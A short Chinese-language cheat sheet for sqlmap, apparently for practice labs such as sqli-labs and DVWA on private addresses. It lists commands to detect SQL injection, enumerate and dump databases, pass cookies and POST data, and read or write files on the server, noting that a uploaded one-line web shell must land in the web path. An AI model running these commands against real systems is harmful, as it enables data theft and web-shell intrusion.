sqlmap使用手册

基础流程:

1
2
3
4
5
6
7
8
9
10
判断是否有注入
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1"
查看所有数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --dbs
查看当前使用的数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --current-db
查看数据表
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security --tables
查看列名
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security -T users --columns

基础命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-h/hh  查看基础/全部帮助命令
-v (1-6) 输出信息现实的详细程度
--batch 使用默认值
--current-db 获取当前数据库
--currnet-user 获取当前用户
-D 指定数据库
-T 指定数据表
-C 指定列
--dbs 列举全部数据库
--tables 列举全部表
--columns 列举全部字段
--dump 获取数据
--start 1 --stop 3

高级命令

1
2
3
--cookie        sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
--user-agent sqlmap -u "xxx" --user-agent="xxx"
--referer
1
2
-r			指定注入的数据包,  sqlmap -r "D:\1.txt" --batch 
--data 指定post型参数 sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/#" --batch --data="id=2&Submit=Submit" --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
1
--second-url
1
2
3
4
以下三个参数的执行需要mysql服务端配置secure_file_priv=""或者secure_file_priv="xx\xx\xx\"   (必须指定目标机绝对路径,而且写一句话一定要写入网站路径下才能连接菜刀)
--file-read 从目标机读取文件
--file-write 指定上传文件的本地路径
--file-dest 指定上传到目标服务器的路径
1
--sql-query="SQL语句"